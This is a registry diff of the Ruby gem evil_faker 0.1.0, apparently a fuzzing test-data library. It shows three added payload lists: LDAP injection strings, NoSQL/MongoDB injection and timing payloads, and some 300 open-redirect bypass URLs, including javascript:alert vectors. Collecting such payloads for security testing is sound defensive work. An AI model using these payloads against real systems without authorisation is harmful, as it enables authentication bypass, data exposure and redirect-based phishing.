evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt ADDED
@@ -0,0 +1,60 @@
1
+ *
2
+ *)(&
3
+ *))%00
4
+ *()|%26'
5
+ *()|&'
6
+ *(|(mail=*))
7
+ *(|(objectclass=*))
8
+ *)(uid=*))(|(uid=*
9
+ */*
10
+ *|
11
+ /
12
+ //
13
+ //*
14
+ @*
15
+ |
16
+ admin*
17
+ admin*)((|userpassword=*)
18
+ admin*)((|userPassword=*)
19
+ x' or name()='username' or 'x'='y
20
+ !
21
+ %21
22
+ %26
23
+ %28
24
+ %29
25
+ %2A%28%7C%28mail%3D%2A%29%29
26
+ %2A%28%7C%28objectclass%3D%2A%29%29
27
+ %2A%7C
28
+ %7C
29
+ &
30
+ (
31
+ )
32
+ )(cn=))\x00
33
+ x' or name()='username' or 'x'='ys
34
+ c
35
+ cn
36
+ co
37
+ commonName
38
+ dc
39
+ facsimileTelephoneNumber
40
+ givenName
41
+ gn
42
+ homePhone
43
+ id
44
+ jpegPhoto
45
+ l
46
+ mail
47
+ mobile
48
+ name
49
+ o
50
+ objectClass
51
+ ou
52
+ owner
53
+ pager
54
+ password
55
+ sn
56
+ st
57
+ surname
58
+ uid
59
+ username
60
+ userPassword
data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt ADDED
@@ -0,0 +1,26 @@
1
+ true, $where: '1 == 1'
2
+ , $where: '1 == 1'
3
+ $where: '1 == 1'
4
+ ', $where: '1 == 1'
5
+ 1, $where: '1 == 1'
6
+ { $ne: 1 }
7
+ ', $or: [ {}, { 'a':'a
8
+ ' } ], $comment:'successful MongoDB injection'
9
+ db.injection.insert({success:1});
10
+ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
11
+ || 1==1
12
+ ' && this.password.match(/.*/)//+%00
13
+ ' && this.passwordzz.match(/.*/)//+%00
14
+ '%20%26%26%20this.password.match(/.*/)//+%00
15
+ '%20%26%26%20this.passwordzz.match(/.*/)//+%00
16
+ {$gt: ''}
17
+ [$ne]=1
18
+ ';return 'a'=='a' && ''=='
19
+ ";return(true);var xyz='a
20
+ 0;return true
21
+ {"$gt": ""}
22
+ ';sleep(5000);
23
+ ';sleep(5000);'
24
+ ';sleep(5000);+'
25
+ ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
26
+ {"&exists":false}
data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt ADDED
@@ -0,0 +1,305 @@
1
+ //google.com/%2f..
2
+ //www.whitelisteddomain.tld@google.com/%2f..
3
+ ///google.com/%2f..
4
+ ///www.whitelisteddomain.tld@google.com/%2f..
5
+ ////google.com/%2f..
6
+ ////www.whitelisteddomain.tld@google.com/%2f..
7
+ https://google.com/%2f..
8
+ https://www.whitelisteddomain.tld@google.com/%2f..
9
+ /https://google.com/%2f..
10
+ /https://www.whitelisteddomain.tld@google.com/%2f..
11
+ //www.google.com/%2f%2e%2e
12
+ //www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
13
+ ///www.google.com/%2f%2e%2e
14
+ ///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
15
+ ////www.google.com/%2f%2e%2e
16
+ ////www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
17
+ https://www.google.com/%2f%2e%2e
18
+ https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
19
+ /https://www.google.com/%2f%2e%2e
20
+ /https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
21
+ //google.com/
22
+ //www.whitelisteddomain.tld@google.com/
23
+ ///google.com/
24
+ ///www.whitelisteddomain.tld@google.com/
25
+ ////google.com/
26
+ ////www.whitelisteddomain.tld@google.com/
27
+ https://google.com/
28
+ https://www.whitelisteddomain.tld@google.com/
29
+ /https://google.com/
30
+ /https://www.whitelisteddomain.tld@google.com/
31
+ //google.com//
32
+ //www.whitelisteddomain.tld@google.com//
33
+ ///google.com//
34
+ ///www.whitelisteddomain.tld@google.com//
35
+ ////google.com//
36
+ ////www.whitelisteddomain.tld@google.com//
37
+ https://google.com//
38
+ https://www.whitelisteddomain.tld@google.com//
39
+ //https://google.com//
40
+ //https://www.whitelisteddomain.tld@google.com//
41
+ //www.google.com/%2e%2e%2f
42
+ //www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
43
+ ///www.google.com/%2e%2e%2f
44
+ ///www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
45
+ ////www.google.com/%2e%2e%2f
46
+ ////www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
47
+ https://www.google.com/%2e%2e%2f
48
+ https://www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
49
+ //https://www.google.com/%2e%2e%2f
50
+ //https://www.whitelisteddomain.tld@www.google.com/%2e%2e%2f
51
+ ///www.google.com/%2e%2e
52
+ ///www.whitelisteddomain.tld@www.google.com/%2e%2e
53
+ ////www.google.com/%2e%2e
54
+ ////www.whitelisteddomain.tld@www.google.com/%2e%2e
55
+ https:///www.google.com/%2e%2e
56
+ https:///www.whitelisteddomain.tld@www.google.com/%2e%2e
57
+ //https:///www.google.com/%2e%2e
58
+ //www.whitelisteddomain.tld@https:///www.google.com/%2e%2e
59
+ /https://www.google.com/%2e%2e
60
+ /https://www.whitelisteddomain.tld@www.google.com/%2e%2e
61
+ https:///www.google.com/%2f%2e%2e
62
+ https:///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
63
+ /https:///www.google.com/%2f%2e%2e
64
+ /https:///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e
65
+ /%09/google.com
66
+ /%09/www.whitelisteddomain.tld@google.com
67
+ //%09/google.com
68
+ //%09/www.whitelisteddomain.tld@google.com
69
+ ///%09/google.com
70
+ ///%09/www.whitelisteddomain.tld@google.com
71
+ ////%09/google.com
72
+ ////%09/www.whitelisteddomain.tld@google.com
73
+ https://%09/google.com
74
+ https://%09/www.whitelisteddomain.tld@google.com
75
+ /%5cgoogle.com
76
+ /%5cwww.whitelisteddomain.tld@google.com
77
+ //%5cgoogle.com
78
+ //%5cwww.whitelisteddomain.tld@google.com
79
+ ///%5cgoogle.com
80
+ ///%5cwww.whitelisteddomain.tld@google.com
81
+ ////%5cgoogle.com
82
+ ////%5cwww.whitelisteddomain.tld@google.com
83
+ https://%5cgoogle.com
84
+ https://%5cwww.whitelisteddomain.tld@google.com
85
+ /https://%5cgoogle.com
86
+ /https://%5cwww.whitelisteddomain.tld@google.com
87
+ https://google.com
88
+ https://www.whitelisteddomain.tld@google.com
89
+ javascript:alert(1);
90
+ javascript:alert(1)
91
+ //javascript:alert(1);
92
+ /javascript:alert(1);
93
+ //javascript:alert(1)
94
+ /javascript:alert(1)
95
+ /%5cjavascript:alert(1);
96
+ /%5cjavascript:alert(1)
97
+ //%5cjavascript:alert(1);
98
+ //%5cjavascript:alert(1)
99
+ /%09/javascript:alert(1);
100
+ /%09/javascript:alert(1)
101
+ java%0d%0ascript%0d%0a:alert(0)
102
+ //google.com
103
+ https:google.com
104
+ //google%E3%80%82com
105
+ \/\/google.com/
106
+ /\/google.com/
107
+ //google%00.com
108
+ https://www.whitelisteddomain.tld/https://www.google.com/
109
+ ";alert(0);//
110
+ javascript://www.whitelisteddomain.tld?%a0alert%281%29
111
+ http://0xd8.0x3a.0xd6.0xce
112
+ http://www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
113
+ http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
114
+ http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
115
+ http://0xd83ad6ce
116
+ http://www.whitelisteddomain.tld@0xd83ad6ce
117
+ http://3H6k7lIAiqjfNeN@0xd83ad6ce
118
+ http://XY>.7d8T\205pZM@0xd83ad6ce
119
+ http://3627734734
120
+ http://www.whitelisteddomain.tld@3627734734
121
+ http://3H6k7lIAiqjfNeN@3627734734
122
+ http://XY>.7d8T\205pZM@3627734734
123
+ http://472.314.470.462
124
+ http://www.whitelisteddomain.tld@472.314.470.462
125
+ http://3H6k7lIAiqjfNeN@472.314.470.462
126
+ http://XY>.7d8T\205pZM@472.314.470.462
127
+ http://0330.072.0326.0316
128
+ http://www.whitelisteddomain.tld@0330.072.0326.0316
129
+ http://3H6k7lIAiqjfNeN@0330.072.0326.0316
130
+ http://XY>.7d8T\205pZM@0330.072.0326.0316
131
+ http://00330.00072.0000326.00000316
132
+ http://www.whitelisteddomain.tld@00330.00072.0000326.00000316
133
+ http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
134
+ http://XY>.7d8T\205pZM@00330.00072.0000326.00000316
135
+ http://[::216.58.214.206]
136
+ http://www.whitelisteddomain.tld@[::216.58.214.206]
137
+ http://3H6k7lIAiqjfNeN@[::216.58.214.206]
138
+ http://XY>.7d8T\205pZM@[::216.58.214.206]
139
+ http://[::ffff:216.58.214.206]
140
+ http://www.whitelisteddomain.tld@[::ffff:216.58.214.206]
141
+ http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
142
+ http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]
143
+ http://0xd8.072.54990
144
+ http://www.whitelisteddomain.tld@0xd8.072.54990
145
+ http://3H6k7lIAiqjfNeN@0xd8.072.54990
146
+ http://XY>.7d8T\205pZM@0xd8.072.54990
147
+ http://0xd8.3856078
148
+ http://www.whitelisteddomain.tld@0xd8.3856078
149
+ http://3H6k7lIAiqjfNeN@0xd8.3856078
150
+ http://XY>.7d8T\205pZM@0xd8.3856078
151
+ http://00330.3856078
152
+ http://www.whitelisteddomain.tld@00330.3856078
153
+ http://3H6k7lIAiqjfNeN@00330.3856078
154
+ http://XY>.7d8T\205pZM@00330.3856078
155
+ http://00330.0x3a.54990
156
+ http://www.whitelisteddomain.tld@00330.0x3a.54990
157
+ http://3H6k7lIAiqjfNeN@00330.0x3a.54990
158
+ http://XY>.7d8T\205pZM@00330.0x3a.54990
159
+ http:0xd8.0x3a.0xd6.0xce
160
+ http:www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
161
+ http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
162
+ http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
163
+ http:0xd83ad6ce
164
+ http:www.whitelisteddomain.tld@0xd83ad6ce
165
+ http:3H6k7lIAiqjfNeN@0xd83ad6ce
166
+ http:XY>.7d8T\205pZM@0xd83ad6ce
167
+ http:3627734734
168
+ http:www.whitelisteddomain.tld@3627734734
169
+ http:3H6k7lIAiqjfNeN@3627734734
170
+ http:XY>.7d8T\205pZM@3627734734
171
+ http:472.314.470.462
172
+ http:www.whitelisteddomain.tld@472.314.470.462
173
+ http:3H6k7lIAiqjfNeN@472.314.470.462
174
+ http:XY>.7d8T\205pZM@472.314.470.462
175
+ http:0330.072.0326.0316
176
+ http:www.whitelisteddomain.tld@0330.072.0326.0316
177
+ http:3H6k7lIAiqjfNeN@0330.072.0326.0316
178
+ http:XY>.7d8T\205pZM@0330.072.0326.0316
179
+ http:00330.00072.0000326.00000316
180
+ http:www.whitelisteddomain.tld@00330.00072.0000326.00000316
181
+ http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
182
+ http:XY>.7d8T\205pZM@00330.00072.0000326.00000316
183
+ http:[::216.58.214.206]
184
+ http:www.whitelisteddomain.tld@[::216.58.214.206]
185
+ http:3H6k7lIAiqjfNeN@[::216.58.214.206]
186
+ http:XY>.7d8T\205pZM@[::216.58.214.206]
187
+ http:[::ffff:216.58.214.206]
188
+ http:www.whitelisteddomain.tld@[::ffff:216.58.214.206]
189
+ http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
190
+ http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]
191
+ http:0xd8.072.54990
192
+ http:www.whitelisteddomain.tld@0xd8.072.54990
193
+ http:3H6k7lIAiqjfNeN@0xd8.072.54990
194
+ http:XY>.7d8T\205pZM@0xd8.072.54990
195
+ http:0xd8.3856078
196
+ http:www.whitelisteddomain.tld@0xd8.3856078
197
+ http:3H6k7lIAiqjfNeN@0xd8.3856078
198
+ http:XY>.7d8T\205pZM@0xd8.3856078
199
+ http:00330.3856078
200
+ http:www.whitelisteddomain.tld@00330.3856078
201
+ http:3H6k7lIAiqjfNeN@00330.3856078
202
+ http:XY>.7d8T\205pZM@00330.3856078
203
+ http:00330.0x3a.54990
204
+ http:www.whitelisteddomain.tld@00330.0x3a.54990
205
+ http:3H6k7lIAiqjfNeN@00330.0x3a.54990
206
+ http:XY>.7d8T\205pZM@00330.0x3a.54990
207
+ 〱google.com
208
+ 〵google.com
209
+ ゝgoogle.com
210
+ ーgoogle.com
211
+ ｰgoogle.com
212
+ /〱google.com
213
+ /〵google.com
214
+ /ゝgoogle.com
215
+ /ーgoogle.com
216
+ /ｰgoogle.com
217
+ %68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
218
+ http://%67%6f%6f%67%6c%65%2e%63%6f%6d
219
+ <>javascript:alert(1);
220
+ <>//google.com
221
+ //google.com\@www.whitelisteddomain.tld
222
+ https://:@google.com\@www.whitelisteddomain.tld
223
+ \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
224
+ \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
225
+ ja\nva\tscript\r:alert(1)
226
+ \j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
227
+ \152\141\166\141\163\143\162\151\160\164\072alert(1)
228
+ http://google.com:80#@www.whitelisteddomain.tld/
229
+ http://google.com:80?@www.whitelisteddomain.tld/
230
+ http://google.com\www.whitelisteddomain.tld
231
+ http://google.com&www.whitelisteddomain.tld
232
+ http:///////////google.com
233
+ \\google.com
234
+ http://www.whitelisteddomain.tld.google.com
235
+ /http://example.com
236
+ /%5cexample.com
237
+ /%2f%2fexample.com
238
+ /example.com/%2f%2e%2e
239
+ /http:/example.com
240
+ /?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com
241
+ /?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com
242
+ /?url=/\/example.com&next=/\/example.com&redirect=/\/example.com
243
+ /redirect?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com
244
+ /redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com
245
+ /redirect?url=/\/example.com&next=/\/example.com&redirect=/\/example.com&redir=/\/example.com&rurl=/\/example.com
246
+ /.example.com
247
+ ///\;@example.com
248
+ ///example.com/
249
+ ///example.com
250
+ ///example.com/%2f..
251
+ /////example.com/
252
+ /////example.com
253
+ /%09/example.com
254
+ /%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/
255
+ /%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
256
+ //%09/example.com
257
+ //%5cexample.com
258
+ ///%09/example.com
259
+ ///%5cexample.com
260
+ ////%09/example.com
261
+ ////%5cexample.com
262
+ ////\;@example.com
263
+ ////example.com/
264
+ ////example.com/%2e%2e
265
+ ////example.com/%2e%2e%2f
266
+ ////example.com/%2f%2e%2e
267
+ ////example.com/%2f..
268
+ ////example.com//
269
+ ///example.com/%2e%2e
270
+ ///example.com/%2e%2e%2f
271
+ ///example.com/%2f%2e%2e
272
+ ///example.com//
273
+ //example.com
274
+ //example.com/
275
+ //example.com/%2e%2e
276
+ //example.com/%2e%2e%2f
277
+ //example.com/%2f%2e%2e
278
+ //example.com/%2f..
279
+ //example.com//
280
+ //https:///example.com/%2e%2e
281
+ //https://example.com/%2e%2e%2f
282
+ //https://example.com//
283
+ /<>//example.com
284
+ /?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com&redirect_uri=//example.com
285
+ /?url=/\/example.com&next=/\/example.com&redirect=/\/example.com&redirect_uri=/\/example.com
286
+ /?url=Https://example.com&next=Https://example.com&redirect=Https://example.com&redir=Https://example.com&rurl=Https://example.com&redirect_uri=Https://example.com
287
+ /\/\/example.com/
288
+ /\/example.com/
289
+ /http://%67%6f%6f%67%6c%65%2e%63%6f%6d
290
+ /https:/%5cexample.com/
291
+ /https://%09/example.com
292
+ /https://%5cexample.com
293
+ /https:///example.com/%2e%2e
294
+ /https:///example.com/%2f%2e%2e
295
+ /https://example.com
296
+ /https://example.com/
297
+ /https://example.com/%2e%2e
298
+ /https://example.com/%2e%2e%2f
299
+ /https://example.com/%2f%2e%2e
300
+ /https://example.com/%2f..
301
+ /https://example.com//
302
+ /https:example.com
303
+ /redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com&redirect_uri=//example.com
304
+ /redirect?url=/\/example.com&next=/\/example.com&redirect=/\/example.com&redir=/\/example.com&rurl=/\/example.com&redirect_uri=/\/example.com
305
+ /redirect?url=Https://example.com&next=Https://example.com&redirect=Https://example.com&redir=Https://example.com&rurl=Https://example.com&redirect_uri=Https://example.com